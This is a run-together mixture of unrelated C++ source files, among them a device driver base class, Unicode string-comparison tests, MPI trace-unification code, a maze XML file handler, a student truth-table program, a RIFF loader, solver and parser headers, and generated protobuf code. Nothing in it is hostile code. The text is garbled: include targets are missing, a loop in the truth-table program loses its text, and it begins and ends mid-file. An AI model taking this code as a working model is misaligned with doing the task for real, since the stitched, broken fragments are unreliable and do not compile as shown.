INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************/ /** * @file device.cpp * * Fundamental driver base class for the device framework. */ #include "device.h" #include #include #include #include namespace device { /** * Interrupt dispatch table entry. */ struct irq_entry { int irq; Device *owner; }; static const unsigned irq_nentries = 8; /**< size of the interrupt dispatch table */ static irq_entry irq_entries[irq_nentries]; /**< interrupt dispatch table (XXX should be a vector) */ /** * Register an interrupt to a specific device. * * @param irq The interrupt number to register. * @param owner The device receiving the interrupt. * @return OK if the interrupt was registered. */ static int register_interrupt(int irq, Device *owner); /** * Unregister an interrupt. * * @param irq The previously-registered interrupt to be de-registered. */ static void unregister_interrupt(int irq); /** * Handle an interrupt. * * @param irq The interrupt being invoked. * @param context The interrupt register context. * @return Always returns OK. */ static int interrupt(int irq, void *context); Device::Device(const char *name, int irq) : // public // protected _name(name), _debug_enabled(false), // private _irq(irq), _irq_attached(false) { sem_init(&_lock, 0, 1); /* setup a default device ID. When bus_type is UNKNOWN the other fields are invalid */ _device_id.devid = 0; _device_id.devid_s.bus_type = DeviceBusType_UNKNOWN; _device_id.devid_s.bus = 0; _device_id.devid_s.address = 0; _device_id.devid_s.devtype = 0; } Device::~Device() { sem_destroy(&_lock); if (_irq_attached) unregister_interrupt(_irq); } int Device::init() { int ret = OK; // If assigned an interrupt, connect it if (_irq) { /* ensure it's disabled */ up_disable_irq(_irq); /* register */ ret = register_interrupt(_irq, this); if (ret != OK) goto out; _irq_attached = true; } out: return ret; } void Device::interrupt_enable() { if (_irq_attached) up_enable_irq(_irq); } void Device::interrupt_disable() { if (_irq_attached) up_disable_irq(_irq); } void Device::interrupt(void *context) { // default action is to disable the interrupt so we don't get called again interrupt_disable(); } void Device::log(const char *fmt, ...) { va_list ap; printf("[%s] ", _name); va_start(ap, fmt); vprintf(fmt, ap); va_end(ap); printf("\n"); fflush(stdout); } void Device::debug(const char *fmt, ...) { va_list ap; if (_debug_enabled) { printf("<%s> ", _name); va_start(ap, fmt); vprintf(fmt, ap); va_end(ap); printf("\n"); fflush(stdout); } } static int register_interrupt(int irq, Device *owner) { int ret = -ENOMEM; // look for a slot where we can register the interrupt for (unsigned i = 0; i < irq_nentries; i++) { if (irq_entries[i].irq == 0) { // great, we could put it here; try attaching it ret = irq_attach(irq, &interrupt); if (ret == OK) { irq_entries[i].irq = irq; irq_entries[i].owner = owner; } break; } } return ret; } static void unregister_interrupt(int irq) { for (unsigned i = 0; i < irq_nentries; i++) { if (irq_entries[i].irq == irq) { irq_entries[i].irq = 0; irq_entries[i].owner = nullptr; } } } static int interrupt(int irq, void *context) { for (unsigned i = 0; i < irq_nentries; i++) { if (irq_entries[i].irq == irq) { irq_entries[i].owner->interrupt(context); break; } } return OK; } int Device::read(unsigned offset, void *data, unsigned count) { return -ENODEV; } int Device::write(unsigned offset, void *data, unsigned count) { return -ENODEV; } int Device::ioctl(unsigned operation, unsigned &arg) { switch (operation) { case DEVIOCGDEVICEID: return (int)_device_id.devid; } return -ENODEV; } } // namespace device // Copyright 2009 - 2018. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) #ifndef FCPPT_RECORD_DETAIL_ALL_INITIALIZERS_HPP_INCLUDED #define FCPPT_RECORD_DETAIL_ALL_INITIALIZERS_HPP_INCLUDED #include #include #include #include #include #include namespace fcppt { namespace record { namespace detail { template< typename Elements, typename Args > using all_initializers = ::metal::all_of< Elements, ::metal::partial< ::metal::trait< fcppt::record::detail::contains_initializer >, Args > >; } } } #endif bin/NativeTests/UnicodeTextTests.cpp //------------------------------------------------------------------------------------------------------- // Copyright (C) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE.txt file in the project root for full license information. //------------------------------------------------------------------------------------------------------- #include "stdafx.h" #include "catch.hpp" namespace UnicodeTextTest { void Test(const WCHAR* str1, const WCHAR* str2, int expected) { REQUIRE(g_testHooksLoaded); // there are two tests, one to validate the expected value and validate the result of the call int compareStringResult = CompareStringW(LOCALE_USER_DEFAULT, NORM_IGNORECASE | SORT_DIGITSASNUMBERS, str1, -1, str2, -1); CHECK(compareStringResult != 0); compareStringResult = compareStringResult - CSTR_EQUAL; int res = g_testHooks.pfLogicalCompareStringImpl(str1, str2); //test to check that expected value passed is correct REQUIRE(compareStringResult == expected); //test to check that the result from call to LogicalStringCompareImpl is the expected value REQUIRE(res == expected); } TEST_CASE("LogicalCompareString_BasicLatinLowercase", "[UnicodeText]") { Test(_u("a"), _u("a"), 0); Test(_u("a"), _u("b"), -1); Test(_u("b"), _u("a"), 1); } TEST_CASE("LogicalCompareString_BasicNumbers", "[UnicodeText]") { Test(_u("1"), _u("2"), -1); Test(_u("2"), _u("1"), 1); Test(_u("10"), _u("01"), 1); Test(_u("01"), _u("10"), -1); Test(_u("01"), _u("1"), -1); Test(_u("1"), _u("01"), 1); } TEST_CASE("LogicalCompareString_Alphanumeric", "[UnicodeText]") { Test(_u("1a"), _u("a1"), -1); Test(_u("aa1"), _u("a1"), 1); Test(_u("a1"), _u("a1"), 0); Test(_u("a1"), _u("b1"), -1); Test(_u("b1"), _u("a1"), 1); Test(_u("a1"), _u("a2"), -1); Test(_u("a10"), _u("a2"), 1); Test(_u("a2"), _u("a10"), -1); } TEST_CASE("LogicalCompareString_ComplexAlphanumeric", "[UnicodeText]") { Test(_u("A1"), _u("a1"), 0); Test(_u("A1"), _u("b1"), -1); Test(_u("B1"), _u("a1"), 1); Test(_u("A1"), _u("a2"), -1); Test(_u("A10"), _u("a2"), 1); Test(_u("A2"), _u("a10"), -1); Test(_u("123"), _u("456"), -1); Test(_u("456"), _u("123"), 1); Test(_u("abc123"), _u("def123"), -1); Test(_u("abc123"), _u("abc123"), 0); Test(_u("abc123"), _u("abc0123"), 1); Test(_u("abc123"), _u("abc124"), -1); Test(_u("abc124"), _u("abc123"), 1); Test(_u("abc123def"), _u("abc123def"), 0); Test(_u("abc123def"), _u("abc123eef"), -1); Test(_u("abc123eef"), _u("abc123def"), 1); Test(_u("abc1def"), _u("abc10def"), -1); Test(_u("abc1def1"), _u("abc1def12"), -1); Test(_u("2string"), _u("3string"), -1); Test(_u("20string"), _u("3string"), 1); Test(_u("20string"), _u("st2ring"), -1); Test(_u("st3ring"), _u("st2ring"), 1); Test(_u("2String"), _u("3string"), -1); Test(_u("20String"), _u("3string"), 1); Test(_u("20sTRing"), _u("st2ring"), -1); Test(_u("st3rING"), _u("st2riNG"), 1); } } bringhurst/ompiompi/contrib/vt/vt/tools/vtunify/vt_unify_tkfac_scope.hh /** * VampirTrace * http://www.tu-dresden.de/zih/vampirtrace * * Copyright (c) 2005-2011, ZIH, TU Dresden, Federal Republic of Germany * * Copyright (c) 1998-2005, Forschungszentrum Juelich, Juelich Supercomputing * Centre, Federal Republic of Germany * * See the file COPYING in the package base directory for details **/ #ifndef _VT_UNIFY_TKFAC_SCOPE_HH_ #define _VT_UNIFY_TKFAC_SCOPE_HH_ //////////////////// class TokenFactoryScopeC //////////////////// // public methods // template TokenFactoryScopeC::TokenFactoryScopeC( std::set * _globdefs, const uint32_t & _tkoffs ) : m_globDefs( _globdefs ), m_seqToken( _tkoffs ) { // Empty } template TokenFactoryScopeC::~TokenFactoryScopeC() { // Empty } template uint32_t TokenFactoryScopeC::create( const void * localDef ) { const T & local_def = *static_cast(localDef); uint32_t global_token; // search for already created global definition typename std::set::const_iterator it = m_globDefs->find( local_def ); // get its global token, if found // if( it != m_globDefs->end() ) { global_token = it->deftoken; } // otherwise, create global definition // else { T global_def = local_def; global_def.loccpuid = 0; global_def.deftoken = global_token = getNextToken(); m_globDefs->insert( global_def ).first; } // set token translation for process, if necessary if( local_def.loccpuid != 0 && local_def.deftoken != 0 ) setTranslation( local_def.loccpuid, local_def.deftoken, global_token ); return global_token; } template void TokenFactoryScopeC::setTranslation( const uint32_t & process, const uint32_t & localToken, const uint32_t & globalToken ) { // get master process id uint32_t mprocess = process & VT_TRACEID_BITMASK; // set token translation m_mapLocGlobToken[mprocess][localToken] = globalToken; } template uint32_t TokenFactoryScopeC::translate( const uint32_t & process, const uint32_t & localToken, const bool & showError ) const { uint32_t global_token = 0; // get master process id uint32_t mprocess = process & VT_TRACEID_BITMASK; // search token mappings of process std::map >::const_iterator proc_it = m_mapLocGlobToken.find( mprocess ); // found? if( proc_it != m_mapLocGlobToken.end() ) { // search token mapping by local token std::map::const_iterator map_it = proc_it->second.find( localToken ); // get global token, if found if( map_it != proc_it->second.end() ) global_token = map_it->second; } // show error message, if no token translation found // if( global_token == 0 && showError ) { std::cerr << ExeName << ": Error: No translation found for " << "local token " << localToken << " on process " << process << std::endl; } return global_token; } template uint32_t TokenFactoryScopeC::getNextToken() { return m_seqToken++; } #ifdef VT_MPI template VT_MPI_INT TokenFactoryScopeC::getPackSize() { VT_MPI_INT buffer_size; // m_mapLocGlobToken.size() CALL_MPI( MPI_Pack_size( 1, MPI_UNSIGNED, MPI_COMM_WORLD, &buffer_size ) ); // m_mapLocGlobToken // if( m_mapLocGlobToken.size() > 0 ) { VT_MPI_INT size; std::map >::const_iterator proc_it; for( proc_it = m_mapLocGlobToken.begin(); proc_it != m_mapLocGlobToken.end(); proc_it++ ) { // m_mapLocGlobToken[].first + m_mapLocGlobToken[].second.size() // CALL_MPI( MPI_Pack_size( 2, MPI_UNSIGNED, MPI_COMM_WORLD, &size ) ); buffer_size += size; if( proc_it->second.size() > 0 ) { // m_mapLocGlobToken[].second // CALL_MPI( MPI_Pack_size( (VT_MPI_INT)proc_it->second.size() * 2, MPI_UNSIGNED, MPI_COMM_WORLD, &size ) ); buffer_size += size; } } } return buffer_size; } template void TokenFactoryScopeC::pack( char *& buffer, const VT_MPI_INT & bufferSize, VT_MPI_INT & bufferPos ) { // m_mapLocGlobToken.size() // uint32_t proc_map_size = m_mapLocGlobToken.size(); CALL_MPI( MPI_Pack( &proc_map_size, 1, MPI_UNSIGNED, buffer, bufferSize, &bufferPos, MPI_COMM_WORLD ) ); // m_mapLocGlobToken // if( proc_map_size > 0 ) { std::map >::const_iterator proc_it; for( proc_it = m_mapLocGlobToken.begin(); proc_it != m_mapLocGlobToken.end(); proc_it++ ) { // m_mapLocGlobToken[].first // uint32_t proc = proc_it->first; CALL_MPI( MPI_Pack( &proc, 1, MPI_UNSIGNED, buffer, bufferSize, &bufferPos, MPI_COMM_WORLD ) ); // m_mapLocGlobToken[].second.size() // uint32_t token_map_size = proc_it->second.size(); CALL_MPI( MPI_Pack( &token_map_size, 1, MPI_UNSIGNED, buffer, bufferSize, &bufferPos, MPI_COMM_WORLD ) ); // m_mapLocGlobToken[].second // if( token_map_size > 0 ) { uint32_t * token_map_firsts = new uint32_t[token_map_size]; uint32_t * token_map_seconds = new uint32_t[token_map_size]; std::map::const_iterator tk_it; uint32_t i; for( tk_it = proc_it->second.begin(), i = 0; tk_it != proc_it->second.end(), i < token_map_size; tk_it++, i++ ) { token_map_firsts[i] = tk_it->first; token_map_seconds[i] = tk_it->second; } CALL_MPI( MPI_Pack( token_map_firsts, (VT_MPI_INT)token_map_size, MPI_UNSIGNED, buffer, bufferSize, &bufferPos, MPI_COMM_WORLD ) ); CALL_MPI( MPI_Pack( token_map_seconds, (VT_MPI_INT)token_map_size, MPI_UNSIGNED, buffer, bufferSize, &bufferPos, MPI_COMM_WORLD ) ); delete [] token_map_firsts; delete [] token_map_seconds; } } } } template void TokenFactoryScopeC::unpack( char *& buffer, const VT_MPI_INT & bufferSize, VT_MPI_INT & bufferPos ) { // m_mapLocGlobToken.size() // uint32_t proc_map_size; CALL_MPI( MPI_Unpack( buffer, bufferSize, &bufferPos, &proc_map_size, 1, MPI_UNSIGNED, MPI_COMM_WORLD ) ); // m_mapLocGlobToken // if( proc_map_size > 0 ) { for( uint32_t i = 0; i < proc_map_size; i++ ) { // m_mapLocGlobToken[].first // uint32_t proc; CALL_MPI( MPI_Unpack( buffer, bufferSize, &bufferPos, &proc, 1, MPI_UNSIGNED, MPI_COMM_WORLD ) ); // m_mapLocGlobToken[].second.size() // uint32_t token_map_size; CALL_MPI( MPI_Unpack( buffer, bufferSize, &bufferPos, &token_map_size, 1, MPI_UNSIGNED, MPI_COMM_WORLD ) ); // m_mapLocGlobToken[].second // if( token_map_size > 0 ) { uint32_t * token_map_firsts = new uint32_t[token_map_size]; uint32_t * token_map_seconds = new uint32_t[token_map_size]; CALL_MPI( MPI_Unpack( buffer, bufferSize, &bufferPos, token_map_firsts, (VT_MPI_INT)token_map_size, MPI_UNSIGNED, MPI_COMM_WORLD ) ); CALL_MPI( MPI_Unpack( buffer, bufferSize, &bufferPos, token_map_seconds, (VT_MPI_INT)token_map_size, MPI_UNSIGNED, MPI_COMM_WORLD ) ); // set token translations for process // for( uint32_t j = 0; j < token_map_size; j++ ) setTranslation( proc, token_map_firsts[j], token_map_seconds[j] ); delete [] token_map_firsts; delete [] token_map_seconds; } } } } #endif // VT_MPI #endif // _VT_UNIFY_TKFAC_SCOPE_HH_ #include "MazeFileHandler.h" MazeFileHandler::MazeFileHandler( MazeCanvas * maze_canvas, wxFileName * maze_file, wxFileName * grid_file) : maze_canvas(maze_canvas), maze_file(maze_file), grid_file(grid_file) { temp_tag = NULL; } void MazeFileHandler::setAllFiles(wxFileName * new_maze_file, wxFileName * new_grid_file) { setMazeFile(new_maze_file); setGridFile(new_grid_file); } void MazeFileHandler::setMazeFile(wxFileName * new_maze_file) { maze_file = new_maze_file; } void MazeFileHandler::setGridFile(wxFileName * new_grid_file) { grid_file = new_grid_file; } int MazeFileHandler::openAll(void) { openMazeFile(); openGridFile(); maze_canvas->doMirrorOnY(); maze_canvas->forceRefresh(); return 0; } int MazeFileHandler::openGridFile(void) { return openXMLFile(grid_file); } int MazeFileHandler::openMazeFile(void) { return openXMLFile(maze_file);; } int MazeFileHandler::openXMLFile(wxFileName * file_name) { if (!wxFile::Exists(file_name->GetFullPath())) return -1; wxFile temp_file(file_name->GetFullPath()); if (!temp_file.IsOpened()) return -1; char buffer[READ_BUFFER_SIZE]; char * aux = NULL; int n_chars_read=-1, total_chars_read=0; temp_tag = new MazeXMLTag(); while(!(temp_file.Eof() && n_chars_read==-1)) { if (n_chars_read==-1) { total_chars_read = temp_file.Read(buffer, READ_BUFFER_SIZE); aux = buffer; } else { aux += n_chars_read; } n_chars_read = temp_tag->readString(aux, total_chars_read-(aux-buffer)); if (temp_tag->isComplete()) { temp_tag->executeTag(maze_canvas); delete temp_tag; temp_tag = new MazeXMLTag(); } } delete temp_tag; temp_file.Close(); maze_canvas->forceRefresh(); return 0; } int MazeFileHandler::saveAll() { maze_canvas->doMirrorOnY(); saveMazeFile(); saveGridFile(); maze_canvas->doMirrorOnY(); maze_canvas->forceRefresh(); return 0; } int MazeFileHandler::saveMazeFile(void) { wxFile file(maze_file->GetFullPath(), wxFile::write); if ( !file.IsOpened() ) return -1; int ret_val = maze_canvas->toXmlMazeFile(file); file.Close(); return ret_val; } int MazeFileHandler::saveGridFile(void) { wxFile file(grid_file->GetFullPath(), wxFile::write); if ( !file.IsOpened() ) return -1; int ret_val = maze_canvas->toXmlGridFile(file); file.Close(); return ret_val; } QUES 13/Code/Ques13.cpp #include #include #include using namespace std; int main() { int n; char x,y; cout << "Enter the no. of trials: "; cin >> n; bool value[n][2]; for(int i=0; i> x >> y; value[i][0] = (x == 't' || x == 'T'); value[i][1] = (y == 't' || y == 'T'); } cout << endl; cout << "x\ty\tAND\tOR\tXOR\tx->y\tx<->y\tXNOR\tNOT\tNAND\tNOR"; cout << "\n-------------------------------------------------------" << "-------------------------------------------------------\n"; for(int i=0; i #include #include #include"tvgw/fileload.h" extern "C" int tvgw_LoadFile(const char* filename, TVGW_RIFF_File* filedata){ std::ifstream fin(filename, std::ios::binary); fin.read((char*)filedata, sizeof(unsigned int) * 3); std::vector chunks_tmp; while(!fin.eof()){ TVGW_File_Chunk* chunk = new TVGW_File_Chunk; int exit_code = tvgw_LoadFileChunk(&fin, chunk); if(exit_code == -1){ return -1; } else if(exit_code == 1){ delete chunk; break; } else{ chunks_tmp.push_back(chunk); } } int counter = 0; int size = chunks_tmp.size(); TVGW_File_Chunk** chunks = (TVGW_File_Chunk**)new char[sizeof(TVGW_File_Chunk*) * chunks_tmp.size()]; for(counter = 0; counter < size; counter++){ chunks[counter] = chunks_tmp[counter]; } chunks_tmp.~vector(); filedata->chunkCount = counter; filedata->chunks = chunks; fin.close(); return 0; } extern "C" int tvgw_LoadFileChunk(std::ifstream* fin, TVGW_File_Chunk* chunk){ char* chunk_ptr = (char*)chunk; fin->read(chunk_ptr, sizeof(unsigned int) * 2); if(fin->eof()){ return 1; } chunk->data = new char[chunk->chunkSize]; if(chunk->data == NULL){ return -1; } else{ for(unsigned int i = 0; i < chunk->chunkSize; i++){ fin->read(chunk->data + i, sizeof(char)); } } return 0; } Amit0617/OpenMS #ifndef _RANDOM_TREE_SUBGRAPH_HPP #define _RANDOM_TREE_SUBGRAPH_HPP // Note: Assumes graph is connected (otherwise, split into connected // compoonents and then call) template std::list* > random_tree_subgraph(InferenceGraph & ig) { // Note: doing rand() % N can effectively discard some entropy; if // high-quality random numbers are necessary, then there are more // effective ways to do this. auto rand_int = [](unsigned long size) { return rand() % size; }; // Clear node colors: for (unsigned long i=0; icolor = -1; // Choose random root: MessagePasser*root = ig.message_passers[ rand_int(ig.message_passers.size()) ]; // Build traversal order of tree via DFS: std::list* > result; node_dfs({root}, [&result](MessagePasser*mp){ result.push_back(mp); // Mark the node as visited: mp->color = 1; }); return result; } #endif WasmVM/wass #ifndef GUARD_wass_parser_ParserTypeUse #define GUARD_wass_parser_ParserTypeUse #include #include #include class ParserTypeUse : public std::optional{ public: ParserTypeUse(ParserContext& context); }; #endif// $Id$ // Copyright (C) 2002, International Business Machines // Corporation and others. All Rights Reserved. // This code is licensed under the terms of the Eclipse Public License (EPL). // Edwin 11/24/09 carved from CbcNode #ifndef CbcPartialNodeInfo_H #define CbcPartialNodeInfo_H #include #include #include "CoinWarmStartBasis.hpp" #include "CoinSearchTree.hpp" #include "CbcBranchBase.hpp" #include "CbcNodeInfo.hpp" class OsiSolverInterface; class OsiSolverBranch; class OsiCuts; class OsiRowCut; class OsiRowCutDebugger; class CoinWarmStartBasis; class CbcCountRowCut; class CbcModel; class CbcNode; class CbcSubProblem; class CbcGeneralBranchingObject; /** \brief Holds information for recreating a subproblem by incremental change from the parent. A CbcPartialNodeInfo object contains changes to the bounds and basis, and additional cuts, required to recreate a subproblem by modifying and augmenting the parent subproblem. */ class CbcPartialNodeInfo : public CbcNodeInfo { public: /** \brief Modify model according to information at node The routine modifies the model according to bound and basis change information at node and adds any cuts to the addCuts array. */ virtual void applyToModel (CbcModel *model, CoinWarmStartBasis *&basis, CbcCountRowCut **addCuts, int ¤tNumberCuts) const ; /// Just apply bounds to one variable - force means overwrite by lower,upper (1=>infeasible) virtual int applyBounds(int iColumn, double & lower, double & upper, int force) ; /** Builds up row basis backwards (until original model). Returns NULL or previous one to apply . Depends on Free being 0 and impossible for cuts */ virtual CbcNodeInfo * buildRowBasis(CoinWarmStartBasis & basis ) const ; // Default Constructor CbcPartialNodeInfo (); // Constructor from current state CbcPartialNodeInfo (CbcNodeInfo * parent, CbcNode * owner, int numberChangedBounds, const int * variables, const double * boundChanges, const CoinWarmStartDiff *basisDiff) ; // Copy constructor CbcPartialNodeInfo ( const CbcPartialNodeInfo &); // Destructor ~CbcPartialNodeInfo (); /// Clone virtual CbcNodeInfo * clone() const; /// Basis diff information inline const CoinWarmStartDiff *basisDiff() const { return basisDiff_ ; } /// Which variable (top bit if upper bound changing) inline const int * variables() const { return variables_; } // New bound inline const double * newBounds() const { return newBounds_; } /// Number of bound changes inline int numberChangedBounds() const { return numberChangedBounds_; } protected: /* Data values */ /// Basis diff information CoinWarmStartDiff *basisDiff_ ; /// Which variable (top bit if upper bound changing) int * variables_; // New bound double * newBounds_; /// Number of bound changes int numberChangedBounds_; private: /// Illegal Assignment operator CbcPartialNodeInfo & operator=(const CbcPartialNodeInfo& rhs); }; #endif //CbcPartialNodeInfo_H // Generated by the protocol buffer compiler. DO NOT EDIT! // source: Qot_UpdateKL.proto #include "Qot_UpdateKL.pb.h" #include #include #include #include #include #include #include #include #include #include // This is a temporary google only hack #ifdef GOOGLE_PROTOBUF_ENFORCE_UNIQUENESS #include "third_party/protobuf/version.h" #endif // @@protoc_insertion_point(includes) namespace Qot_UpdateKL { class S2CDefaultTypeInternal { public: ::google::protobuf::internal::ExplicitlyConstructed _instance; } _S2C_default_instance_; class ResponseDefaultTypeInternal { public: ::google::protobuf::internal::ExplicitlyConstructed _instance; } _Response_default_instance_; } // namespace Qot_UpdateKL namespace protobuf_Qot_5fUpdateKL_2eproto { void InitDefaultsS2CImpl() { GOOGLE_PROTOBUF_VERIFY_VERSION; #ifdef GOOGLE_PROTOBUF_ENFORCE_UNIQUENESS ::google::protobuf::internal::InitProtobufDefaultsForceUnique(); #else ::google::protobuf::internal::InitProtobufDefaults(); #endif // GOOGLE_PROTOBUF_ENFORCE_UNIQUENESS protobuf_Qot_5fCommon_2eproto::InitDefaultsSecurity(); protobuf_Qot_5fCommon_2eproto::InitDefaultsKLine(); { void* ptr = &::Qot_UpdateKL::_S2C_default_instance_; new (ptr) ::Qot_UpdateKL::S2C(); ::google::protobuf::internal::OnShutdownDestroyMessage(ptr); } ::Qot_UpdateKL::S2C::InitAsDefaultInstance(); } void InitDefaultsS2C() { static GOOGLE_PROTOBUF_DECLARE_ONCE(once); ::google::protobuf::GoogleOnceInit(&once, &InitDefaultsS2CImpl); } void InitDefaultsResponseImpl() { GOOGLE_PROTOBUF_VERIFY_VERSION; #ifdef GOOGLE_PROTOBUF_ENFORCE_UNIQUENESS ::google::protobuf::internal::InitProtobufDefaultsForceUnique(); #else ::google::protobuf::internal::InitProtobufDefaults(); #endif // GOOGLE_PROTOBUF_ENFORCE_UNIQUENESS protobuf_Qot_5fUpdateKL_2eproto::InitDefaultsS2C(); { void* ptr = &::Qot_UpdateKL::_Response_default_instance_; new (ptr) ::Qot_UpdateKL::Response(); ::google::protobuf::internal::OnShutdownDestroyMessage(ptr); } ::Qot_UpdateKL::Response::InitAsDefaultInstance(); } void InitDefaultsResponse() { static GOOGLE_PROTOBUF_DECLARE_ONCE(once); ::google::protobuf::GoogleOnceInit(&once, &InitDefaultsResponseImpl); } ::google::protobuf::Metadata file_level_metadata[2]; const ::google::protobuf::uint32 TableStruct::offsets[] GOOGLE_PROTOBUF_ATTRIBUTE_SECTION_VARIABLE(protodesc_cold) = { GOOGLE_PROTOBUF_GENERATED_MESSAGE_FIELD_OFFSET(::Qot_UpdateKL::S2C, _has_bits_), GOOGLE_PROTOBUF_GENERATED_MESSAGE_FIELD_OFFSET(::Qot_UpdateKL::S2C, _internal_metadata_), ~0u, // no _extensions_ ~0u, // no _oneof_case_ ~0u, // no _weak_field_map_ GOOGLE_PROTOBUF_GENERATED_MESSAGE_FIELD_OFFSET(::Qot_UpdateKL::S2C, rehabtype_), GOOGLE_PROTOBUF_GENERATED_MESSAGE_FIELD_OFFSET(::Qot_UpdateKL::S2C, kltype_), GOOGLE_PROTOBUF_GENERATED_MESSAGE_FIELD_OFFSET(::Qot_UpdateKL::S2C, security_), GOOGLE_PROTOBUF_GENERATED_MESSAGE_FIELD_OFFSET(::Qot_UpdateKL::S2C, kllist_), 1, 2, 0, ~0u, GOOGLE_PROTOBUF_GENERATED_MESSAGE_FIELD_OFFSET(::Qot_UpdateKL::Response, _has_bits_), GOOGLE_PROTOBUF_GENERATED_MESSAGE_FIELD_OFFSET(::Qot_UpdateKL::Response, _internal_metadata_), ~0u, // no _extensions_ ~0u, // no _oneof_case_ ~0u, // no _weak_field_map_ GOOGLE_PROTOBUF_GENERATED_MESSAGE_FIELD_OFFSET(::Qot_UpdateKL::Response, rettype_), GOOGLE_PROTOBUF_GENERATED_MESSAGE_FIELD_OFFSET(::Qot_UpdateKL::Response, retmsg_), GOOGLE_PROTOBUF_GENERATED_MESSAGE_FIELD_OFFSET(::Qot_UpdateKL::Response, errcode_), GOOGLE_PROTOBUF_GENERATED_MESSAGE_FIELD_OFFSET(::Qot_UpdateKL::Response, s2c_), 3, 0, 2, 1, }; static const ::google::protobuf::internal::MigrationSchema schemas[] GOOGLE_PROTOBUF_ATTRIBUTE_SECTION_VARIABLE(protodesc_cold) = { { 0, 9, sizeof(::Qot_UpdateKL::S2C)}, { 13, 22, sizeof(::Qot_UpdateKL::Response)}, }; static ::google::protobuf::Message const * const file_default_instances[] = { reinterpret_cast(&::Qot_UpdateKL::_S2C_default_instance_), reinterpret_cast(&::Qot_UpdateKL::_Response_default_instance_), }; void protobuf_AssignDescriptors() { AddDescriptors(); ::google::protobuf::MessageFactory* factory = NULL; AssignDescriptors( "Qot_UpdateKL.proto", schemas, file_default_instances, TableStruct::offsets, factory, file_level_metadata, NULL, NULL); } void protobuf_AssignDescriptorsOnce() { static GOOGLE_PROTOBUF_DECLARE_ONCE(once); ::google::protobuf::GoogleOnceInit(&once, &protobuf_AssignDescriptors); } void protobuf_RegisterTypes(const ::std::string&) GOOGLE_PROTOBUF_ATTRIBUTE_COLD; void protobuf_RegisterTypes(const ::std::string&) { protobuf_AssignDescriptorsOnce(); ::google::protobuf::internal::RegisterAllTypes(file_level_metadata, 2); } void AddDescriptorsImpl() { InitDefaults(); static const char descriptor[] GOOGLE_PROTOBUF_ATTRIBUTE_SECTION_VARIABLE(protodesc_cold) = { "\n\022Qot_UpdateKL.proto\022\014Qot_UpdateKL\032\014Comm" "on.proto\032\020Qot_Common.proto\"s\n\003S2C\022\021\n\treh" "abType\030\001 \002(\005\022\016\n\006klType\030\002 \002(\005\022&\n\010security" "\030\003 \002(\0132\024.Qot_Common.Security\022!\n\006klList\030\004" " \003(\0132\021.Qot_Common.KLine\"b\n\010Response\022\025\n\007r" "etType\030\001 \002(\005:\004-400\022\016\n\006retMsg\030\002 \001(\t\022\017\n\007er" "rCode\030\003 \001(\005\022\036\n\003s2c\030\004 \001(\0132\021.Qot_UpdateKL." "S2CB\025\n\023com.futu.openapi.pb" }; ::google::protobuf::DescriptorPool::InternalAddGeneratedFile( descriptor, 306); ::google::protobuf::MessageFactory::InternalRegisterGeneratedFile( "Qot_UpdateKL.proto", &protobuf_RegisterTypes); ::protobuf_Common_2eproto::AddDescriptors(); ::protobuf_Qot_5fCommon_2eproto::AddDescriptors(); } void AddDescriptors() { static GOOGLE_PROTOBUF_DECLARE_ONCE(once); ::google::protobuf::GoogleOnceInit(&once, &AddDescriptorsImpl); } // Force AddDescriptors() to be called at dynamic initialization time. struct StaticDescriptorInitializer { StaticDescriptorInitializer() { AddDescriptors(); } } static_descriptor_initializer; } // namespace protobuf_Qot_5fUpdateKL_2eproto namespace Qot_UpdateKL { // =================================================================== void S2C::InitAsDefaultInstance() { ::Qot_UpdateKL::_S2C_default_instance_._instance.get_mutable()->security_ = const_cast< ::Qot_Common::Security*>( ::Qot_Common::Security::internal_default_instance()); } void S2C::clear_security() { if (security_ != NULL) security_->Clear(); clear_has_security(); } void S2C::clear_kllist() { kllist_.Clear(); } #if !defined(_MSC_VER) || _MSC_VER >= 1900 const int S2C::kRehabTypeFieldNumber; const int S2C::kKlTypeFieldNumber; const int S2C::kSecurityFieldNumber; const int S2C::kKlListFieldNumber; #endif // !defined(_MSC_VER) || _MSC_VER >= 1900 S2C::S2C() : ::google::protobuf::Message(), _internal_metadata_(NULL) { if (GOOGLE_PREDICT_TRUE(this != internal_default_instance())) { ::protobuf_Qot_5fUpdateKL_2eproto::InitDefaultsS2C(); } SharedCtor(); // @@protoc_insertion_point(constructor:Qot_UpdateKL.S2C) } S2C::S2C(const S2C& from) : ::google::protobuf::Message(), _internal_metadata_(NULL), _has_bits_(from._has_bits_), _cached_size_(0), kllist_(from.kllist_) { _internal_metadata_.MergeFrom(from._internal_metadata_); if (from.has_security()) { security_ = new ::Qot_Common::Security(*from.security_); } else { security_ = NULL; } ::memcpy(&rehabtype_, &from.rehabtype_, static_cast(reinterpret_cast(&kltype_) - reinterpret_cast(&rehabtype_)) + sizeof(kltype_)); // @@protoc_insertion_point(copy_constructor:Qot_UpdateKL.S2C) } void S2C::SharedCtor() { _cached_size_ = 0; ::memset(&security_, 0, static_cast( reinterpret_cast(&kltype_) - reinterpret_cast(&security_)) + sizeof(kltype_)); } S2C::~S2C() { // @@protoc_insertion_point(destructor:Qot_UpdateKL.S2C) SharedDtor(); } void S2C::SharedDtor() { if (this != internal_default_instance()) delete security_; } void S2C::SetCachedSize(int size) const { GOOGLE_SAFE_CONCURRENT_WRITES_BEGIN(); _cached_size_ = size; GOOGLE_SAFE_CONCURRENT_WRITES_END(); } const ::google::protobuf::Descriptor* S2C::descriptor() { ::protobuf_Qot_5fUpdateKL_2eproto::protobuf_AssignDescriptorsOnce(); return ::protobuf_Qot_5fUpdateKL_2eproto::file_level_metadata[kIndexInFileMessages].descriptor; } const S2C& S2C::default_instance() { ::protobuf_Qot_5fUpdateKL_2eproto::InitDefaultsS2C(); return *internal_default_instance(); } S2C* S2C::New(::google::protobuf::Arena* arena) const { S2C* n = new S2C; if (arena != NULL) { 